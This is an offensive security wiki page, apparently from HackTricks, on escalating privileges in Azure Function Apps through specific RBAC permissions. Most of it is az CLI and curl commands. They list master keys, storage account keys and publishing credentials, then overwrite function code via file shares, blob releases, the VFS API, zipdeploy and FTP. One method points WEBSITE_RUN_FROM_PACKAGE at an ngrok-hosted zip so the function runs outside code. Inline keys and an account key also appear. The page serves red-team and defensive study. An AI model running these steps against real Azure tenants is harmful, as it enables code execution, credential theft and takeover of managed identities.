# Az - Functions App Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Function Apps

Check the following page for more information:

{{#ref}}
../az-services/az-function-apps.md
{{#endref}}

### Bucket Read/Write

With permissions to read the containers inside the Storage Account that stores the function data it's possible to find **different containers** (custom or with pre-defined names) that might contain **the code executed by the function**.

Once you find where the code of the function is located if you have write permissions over it you can make the function execute any code and escalate privileges to the managed identities attached to the function.

- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`

The code of the function is usually stored inside a file share. With enough access it's possible to modify the code file and **make the function load arbitrary code** allowing to escalate privileges to the managed identities attached to the Function.

This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from

```bash
az functionapp config appsettings list \
  --name <app-name> \
  --resource-group <res-group>
```

Those configs will contain the **Storage Account Key** that the Function can use to access the code.

> [!CAUTION]
> With enough permission to connect to the File Share and **modify the script** running it's possible to execute arbitrary code in the Function and escalate privileges.

The following example uses macOS to connect to the file share, but it's recommended to check also the following page for more info about file shares:

{{#ref}}
../az-services/az-file-shares.md
{{#endref}}

```bash
# Username is the name of the storage account
# Password is the Storage Account Key

# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py

open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```

- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)

It's also common to find the **zip releases** inside the folder `function-releases` of the Storage Account container that the function app is using in a container **usually called `function-releases`**.

Usually this deployment method will set the `WEBSITE_RUN_FROM_PACKAGE` config in:

```bash
az functionapp config appsettings list \
  --name <app-name> \
  --resource-group <res-group>
```

This config will usually contain a **SAS URL to download** the code from the Storage Account.

> [!CAUTION]
> With enough permission to connect to the blob container that **contains the code in zip** it's possible to execute arbitrary code in the Function and escalate privileges.

- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`

Just like in the previous case, if the deployment is done via Github Actions it's possible to find the folder **`github-actions-deploy`** in the Storage Account containing a zip of the code and a SAS URL to the zip in the setting `WEBSITE_RUN_FROM_PACKAGE`.

- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)

With permissions to read the containers inside the Storage Account that stores the function data it's possible to find the container **`scm-releases`**. In there it's possible to find the latest release in **Squashfs filesystem file format** and therefore it's possible to read the code of the function:

```bash
# List containers inside the storage account of the function app
az storage container list \
  --account-name <acc-name> \
  --output table

# List files inside one container
az storage blob list \
  --account-name <acc-name> \
  --container-name <container-name> \
  --output table

# Download file
az storage blob download \
  --account-name <res-group> \
  --container-name scm-releases \
  --name scm-latest-<app-name>.zip \
  --file /tmp/scm-latest-<app-name>.zip

## Even if it looks like the file is a .zip, it's a Squashfs filesystem

# Install
brew install squashfs

# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"

# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```

It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **`<app-name>`** in the JSON files you can find inside.

> [!CAUTION]
> With enough permission to connect to the blob container that **contains the code in a zip extension file** (which actually is a **`squashfs`**) it's possible to execute arbitrary code in the Function and escalate privileges.

```bash
# Modify code inside the script in /tmp/fs adding your code

# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip  -b 131072 -noappend

# Upload it to the blob storage
az storage blob upload \
  --account-name <storage-account> \
  --container-name scm-releases \
  --name scm-latest-<app-name>.zip \
  --file /tmp/scm-latest-<app-name>.zip \
  --overwrite
```

### `Microsoft.Web/sites/host/listkeys/action`

This permission allows to list the function, master and system keys, but not the host one, of the specified function with:

```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```

With the master key it's also possible to to get the source code in a URL like:

```bash
# Get "script_href" from
az rest --method GET \
  --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"

# Access
curl "<script-href>?code=<master-key>"
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
```

And to **change the code that is being executed** in the function with:

```bash
# Set the code to set in the function in /tmp/function_app.py
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
```

### `Microsoft.Web/sites/functions/listKeys/action`

This permission allows to get the host key, of the specified function with:

```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```

### `Microsoft.Web/sites/host/functionKeys/write`

This permission allows to create/update a function key of the specified function with:

```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```

### `Microsoft.Web/sites/host/masterKey/write`

This permission allows to create/update a master key to the specified function with:

```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```

> [!CAUTION]
> Remember that with this key you can also access the source code and modify it as explained before!

### `Microsoft.Web/sites/host/systemKeys/write`

This permission allows to create/update a system function key to the specified function with:

```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```

### `Microsoft.Web/sites/config/list/action`

This permission allows to get the settings of a function. Inside these configurations it might be possible to find the default values **`AzureWebJobsStorage`** or **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** which contains an **account key to access the blob storage of the function with FULL permissions**.

```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```

Moreover, this permission also allows to get the **SCM username and password** (if enabled) with:

```bash
az rest --method POST \
  --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```

### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`

These permissions allows to list the config values of a function as we have seen before plus **modify these values**. This is useful because these settings indicate where the code to execute inside the function is located.

It's therefore possible to set the value of the setting **`WEBSITE_RUN_FROM_PACKAGE`** pointing to an URL zip file containing the new code to execute inside a web application:

- Start by getting the current config

```bash
az functionapp config appsettings list \
  --name <app-name> \
  --resource-group <res-name>
```

- Create the code you want the function to run and host it publicly

```bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server

# Serve it using ngrok for example
ngrok http 8000
```

- Modify the function, keep the previous parameters and add at the end the config **`WEBSITE_RUN_FROM_PACKAGE`** pointing to the URL with the **zip** containing the code.

The following is an example of my **own settings you will need to change the values for yours**, note at the end the values `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, this is where I was hosting the app.

```bash
# Modify the function
az rest --method PUT \
  --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
  --headers '{"Content-Type": "application/json"}' \
  --body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
```

### `Microsoft.Web/sites/hostruntime/vfs/write`

With this permission it's **possible to modify the code of an application** through the web console (or through the following API endpoint):

```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
  --uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
  --headers '{"Content-Type": "application/json", "If-Match": "*"}' \
  --body @/tmp/body

# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
    --url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
  --resource "https://management.azure.com/" \
  --headers "If-Match=*" \
  --body 'module.exports = async function (context, req) {
    context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");

    const name = (req.query.name || (req.body && req.body.name));
    const responseMessage = name
        ? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
        : "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";

    context.res = {
        // status: 200, /* Defaults to 200 */
        body: responseMessage
    };
}'
```

### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)

This permissions allows to list all the publishing profiles which basically contains **basic auth credentials**:

```bash
# Get creds
az functionapp deployment list-publishing-profiles \
    --name <app-name> \
    --resource-group <res-name> \
    --output json
```

Another option would be to set you own creds and use them using:

```bash
az functionapp deployment user set \
    --user-name DeployUser123456 g \
    --password 'P@ssw0rd123!'
```

- If **REDACTED** credentials

If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`

```bash
# Enable basic authentication for SCM
az rest --method PUT \
    --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
    --body '{
        "properties": {
            "allow": true
        }
    }'

# Enable basic authentication for FTP
az rest --method PUT \
    --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
    --body '{
        "properties": {
            "allow": true
        }
    }
```

- **Method SCM**

Then, you can access with these **basic auth credentials to the SCM URL** of your function app and get the values of the env variables:

```bash
# Get settings values
curl -u '<username>:<password>' \
    https://<app-name>.scm.azurewebsites.net/api/settings -v

# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
    https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```

_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._

You can also access the web page from `https://<app-name>.scm.azurewebsites.net/BasicAuth`

The settings values contains the **AccountKey** of the storage account storing the data of the function app, allowing to control that storage account.

- **Method FTP**

Connect to the FTP server using:

```bash
# macOS install lftp
brew install lftp

# Connect using lftp
lftp -u '<username>','<password>' \
     ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/

# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```

_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._

### `Microsoft.Web/sites/hostruntime/vfs/read`

This permission allows to **read the source code** of the app through the VFS:

```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```

### `Microsoft.Web/sites/functions/token/action`

With this permission it's possible to [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) which can be later used to retrieve the **master key** and therefore access and modify the function's code.

However, in my lasts checks no token was returned, so it might be disabled or not working anymore, but here is how you would do it:

```bash
# Get admin token
az rest --method GET \
  --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"

# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
  -H "Authorization: Bearer <token>"
```

### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)

This permissions allows to **enable functions** that might be disabled (or disable them).

```bash
# Enable a disabled function
az functionapp config appsettings set \
  --name <app-name> \
  --resource-group <res-group> \
  --settings "AzureWebJobs.http_trigger1.Disabled=false"
```

It's also possible to see if a function is enabled or disabled in the following URL (using the permission in parenthesis):

```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```

### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)

With these permissions it's possible to **modify the container run by a function app** configured to run a container. This would allow an attacker to upload a malicious azure function container app to docker hub (for example) and make the function execute it.

```bash
az functionapp config container set --name <app-name> \
    --resource-group <res-group> \
    --image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
```

### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)

With these permissions it's possible to **attach a new user managed identity to a function**. If the function was compromised this would allow to escalate privileges to any user managed identity.

```bash
az functionapp identity assign \
    --name <app-name> \
    --resource-group <res-group> \
    --identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
```

### Remote Debugging

It's also possible to connect to debug a running Azure function as [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). However, by default Azure will turn this option to off in 2 days in case the developer forgets to avoid leaving vulnerable configurations.

It's possible to check if a Function has debugging enabled with:

```bash
az functionapp show --name <app-name> --resource-group <res-group>
```

Having the permission `Microsoft.Web/sites/config/write` it's also possible to put a function in debugging mode (the following command also requires the permissions `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` and `Microsoft.Web/sites/Read`).

```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
```

### Change Github repo

I tried changing the Github repo from where the deploying is occurring by executing the following commands but even if it did change, **the new code was not loaded** (probably because it's expecting the Github Action to update the code).\
Moreover, the **managed identity federated credential wasn't updated** allowing the new repository, so it looks like this isn't very useful.

```bash
# Remove current
az functionapp deployment source delete \
  --name funcGithub \
  --resource-group Resource_Group_1

# Load new public repo
az functionapp deployment source config \
  --name funcGithub \
  --resource-group Resource_Group_1 \
  --repo-url "https://github.com/orgname/azure_func3" \
  --branch main --github-action true
```

{{#include ../../../banners/hacktricks-training.md}}



